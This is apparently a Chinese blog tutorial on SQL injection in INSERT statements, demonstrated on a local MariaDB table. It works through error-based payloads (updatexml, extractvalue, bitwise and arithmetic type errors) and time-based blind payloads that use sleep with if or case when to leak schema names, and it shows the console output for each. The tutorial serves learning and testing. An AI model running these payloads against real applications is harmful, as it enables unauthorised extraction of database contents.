insert注入的技巧在于如何在一个字段值内构造闭合。

insert 报错注入

演示案例所用的表:

MariaDB [mysql]> desc test;
+--------+----------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+--------+----------+------+-----+---------+-------+
| id | int(10) | YES | | NULL | |
| uname | char(10) | YES | | NULL | |
| passwd | char(10) | YES | | NULL | |
+--------+----------+------+-----+---------+-------+

0x01: insert数字型报错注入

MariaDB [mysql]> insert into test values(1 and updatexml(1,concat(0x7e,database(),0x7e),1),'2','3');
ERROR 1105 (HY000): XPATH syntax error: '~mysql~'

0x02: insert字符型报错注入

提示:字符型的关键在于如何在一个字段值内构造闭合。
MariaDB [mysql]> insert into test values(1,'2' and updatexml(1,concat(0x7e,database(),0x7e),1)  and '','3');
ERROR 1105 (HY000): XPATH syntax error: '~mysql~'

0x03: 用extractvalue代替updatexml

MariaDB [mysql]> insert into test values(1,'2' and extractvalue(1,concat(0x7e,database()))  and '','3');
ERROR 1105 (HY000): XPATH syntax error: '~mysql'

0x04: 使用按位运算符制造insert数字型报错注入

产生报错是因为1和(select database())的值做按位运算,但是字符不能做按位运算,所以会报错提示哪个值类型错误。"& , | , ^"运算同理。

按位运算详情请参考此链接

MariaDB [mysql]> insert into test values(1 ^ (select database()),'2','3');
ERROR 1292 (22007): Truncated incorrect INTEGER value: 'mysql' MariaDB [mysql]> insert into test values(1 | (select database()),'2','3');
ERROR 1292 (22007): Truncated incorrect INTEGER value: 'mysql' MariaDB [mysql]> insert into test values(1 & (select database()),'2','3');
ERROR 1292 (22007): Truncated incorrect INTEGER value: 'mysql'

0x05: 使用按位运算符制造insert字符型报错注入

insert into test values(1,'1' & (select database()) & '','3');
ERROR 1292 (22007): Truncated incorrect INTEGER value: 'mysql'

0x06: 使用算术运算符制造insert报错注入(+,-,%,/),灵活运用按位运算符,逻辑运算符,算术运算符。

MariaDB [mysql]> insert into test values(1,'1' + (select database()) & '','3');
ERROR 1292 (22007): Truncated incorrect DOUBLE value: 'mysql' MariaDB [mysql]> insert into test values(1,'1' - (select database()) and '','3');
ERROR 1292 (22007): Truncated incorrect DOUBLE value: 'mysql' MariaDB [mysql]> insert into test values(1,'1' / (select database()) or '','3');
ERROR 1292 (22007): Truncated incorrect DOUBLE value: 'mysql' MariaDB [mysql]> insert into test values(1,'1' % (select database()) & '','3');
ERROR 1292 (22007): Truncated incorrect DOUBLE value: 'mysql' MariaDB [mysql]> insert into test values(1,'1' % (select database()) | '','3');
ERROR 1292 (22007): Truncated incorrect DOUBLE value: 'mysql' MariaDB [mysql]> insert into test values(1,'1' % (select database()) / '','3');
ERROR 1292 (22007): Truncated incorrect DOUBLE value: 'mysql'

insert延时盲注

在学习延时盲注之前你需要具备sql(sleep(),if(),substr(),ascii(),case when)的用法。

0x07: 一个简单示例

原始正常语句:
MariaDB [mysql]> insert into test values(1,('2'),'3');
Query OK, 1 row affected (0.005 sec) MariaDB [mysql]> insert into test values(1,('1') and sleep(3) and (''),'3');
Query OK, 1 row affected, 1 warning (3.002 sec)

0x08: 猜测当前所在库的名称长度,如果数据库长度等于5则延时3秒输出内容。

MariaDB [mysql]> insert into test values(1,('1') and sleep(if((select length(database()))=5,3,0)) and (''),'3');
Query OK, 1 row affected, 1 warning (3.007 sec)

0x09: 猜测当前库的第一个表名的第一个字符的ascii码。慢慢去理解,慢就是快。

实际的值:
MariaDB [mysql]> select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1));
+---------------------------------------------------------------------------------------------------------------+
| ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) |
+---------------------------------------------------------------------------------------------------------------+
| 112 |
+---------------------------------------------------------------------------------------------------------------+
1 row in set (0.000 sec) insert盲注如下所示:
MariaDB [mysql]> insert into test values(1,('1') and sleep(if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=112,3,0)) and (''),'3');
Query OK, 1 row affected, 1 warning (3.005 sec)

0x10: 用case then代替if():

MariaDB [mysql]> insert into test values(1,('2') and case when (select length(database())) = 5 then sleep(2) else 0 end and (''),'3');
Query OK, 1 row affected, 1 warning (2.002 sec) MariaDB [mysql]> insert into test values(1,('2') and case when ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) = 112 then sleep(2) else 0 end and (''),'3');
Query OK, 1 row affected, 1 warning (2.004 sec)
掌握以上内容insert报错注入与盲注就基本差不多了

[sql 注入] insert 报错注入与延时盲注的更多相关文章

  1. sql注入之报错注入and boolean注入

    1.sql注入之报错注入 正常传参,返回页面正常: 加入'  返回页面报错,出现"zhangsan"' 报错注入使用的函数 在这里我们使用 select updatexml(1,c ...

  2. 实验吧——加了料的报错注入(exp报错注入)

    题目地址:http://ctf5.shiyanbar.com/web/baocuo/index.php 先查看页面源码得到提示知道了后台执行的sql语句,很常规的查询 测试了一个报错函数发现如下回显, ...

  3. SQL注入之报错注入常见函数

  4. 渗透之路基础 -- SQL进阶(盲注和报错注入)

    SQL注入之盲注 实战过程中,大多情况下很少会有回显,这个时候就要去使用盲注技术 盲注,Blind SQL Injection,听这名字就感觉整个过程就是一个盲目的过程 当注入时,没有任何提示的时候, ...

  5. SQL注入--盲注及报错注入

    盲注查询 盲注其实就是没有回显,不能直观地得到结果来调整注入数据,只能通过其他方式来得到是否注入成功,主要是利用了一些数据库内置函数来达到的 布尔盲注 布尔很明显Ture跟Fales,也就是说它只会根 ...

  6. SQL注入之MySQL报错注入整理

    看大佬们的文章看得我虎躯一震,精神抖擞,于是心血来潮,整理一下MySQL报错注入常见的手段和方法,再举几个例子 <代码审计:企业级Web代码安全架构>一书中介绍过报错注入十大方法,依次是: ...

  7. mutillidae之注册页面的Insert型报错注入

    http://127.0.0.1/mutillidae/index.php?page=register.php 1.注册一个用户试一试,发现页面只提示用户注册成功信息,并五其它可回显信息,果断尝试盲注 ...

  8. CTF-sql-group by报错注入

    本文章主要涉及group by报错注入的原理讲解,如有错误,望指出.(附有目录,如需查看请点右下角) 一.下图为本次文章所使用到 user表,该表所在的数据库为 test 二.首先介绍一下本文章所使用 ...

  9. SQL注入——报错注入

    0x00 背景 SQL注入长期位于OWASP TOP10 榜首,对Web 安全有着很大的影响,黑客们往往在注入过程中根据错误回显进行判断,但是现在非常多的Web程序没有正常的错误回显,这样就需要我们利 ...

随机推荐

  1. 微信小程序学习心得

    我们写小程序时都要跳转页面的,也会有底部导航来进行切换 这个时候就要介绍下窗口是怎样配置的 要在app.json文件里写一个tabBer对象 里面在定义一个list数组里面放我们定义的几个需要切换的页 ...

  2. 攻防世界-web2

    打开题目直接一梭子代码,给我们了个加密的密文,然我们解出flag 审计一波 先时将flag字符串逆序,然后每一个ascii码数值+1,然后base64加密,然后逆序,然后再rot13加密 得到加密的密 ...

  3. 010_Markdown学习

    目录 Markdown学习 标题 三级标题 四级标题 五级标题 六级标题 字体 引用 分割线 图片 超链接 列表 表格 代码 Markdown学习 标题 三级标题 四级标题 五级标题 六级标题 字体 ...

  4. CTF-pwn:老板,来几道简单pwn

    wdb_2018_3rd_soEasy 保护全关 在栈上写入shellcode,然后ret2shellcode from pwn import * local = 0pa binary = " ...

  5. [String] intern()方法

    intern()方法设计的初衷,就是重用String对象,以节省内存消耗. JDK1.6以及以前版本中,常量池是放在 Perm 区(属于方法区)中的,熟悉JVM的话应该知道这是和堆区完全分开的. 使用 ...

  6. js 重排和重绘

    1.什么是重排和重绘 浏览器下载完页面中的所有组件--HTML标记.JavaScript.CSS.图片之后会解析生成两个内部数据结构--DOM树和渲染树. DOM树表示页面结构,渲染树表示DOM节点如 ...

  7. C语言函数的学习

    0x01.函数 这节就先讲函数吧,函数大致分为四种类型 1.无参数.无返回值的函数格式 void 函数名() { //代码段 } void Hello() { printf("Hello W ...

  8. jetson-reference编译出现的问题记录

    问题一: 显示gcc版本过高,需要安装低版本的gcc.g++ sudo apt-get install -y gcc-4.9 sudo apt-get install -y g++-4.9 cd /u ...

  9. 请介绍下你了解的ThreadLocal,它的底层原理!

    前言 业务开发中经常使用 ThreadLocal 来存储用户信息等线程私有对象... ThreadLocal 内部构造是什么样子的?为什么可以线程私有?常说的内存泄露又是怎么回事? 公众号:liuzh ...

  10. XJOI 夏令营501-511NOIP训练14 砍树(2)

    小A是小B家的园丁.小B的家里有n棵树,第i棵树的横坐标为i.一天,小B交给小A一个任务,让他降低自己家中的某些树木的高度.这个任务对小A来说十分简单,因为他有一把极其锋利的斧头和一门独门砍树秘籍,能 ...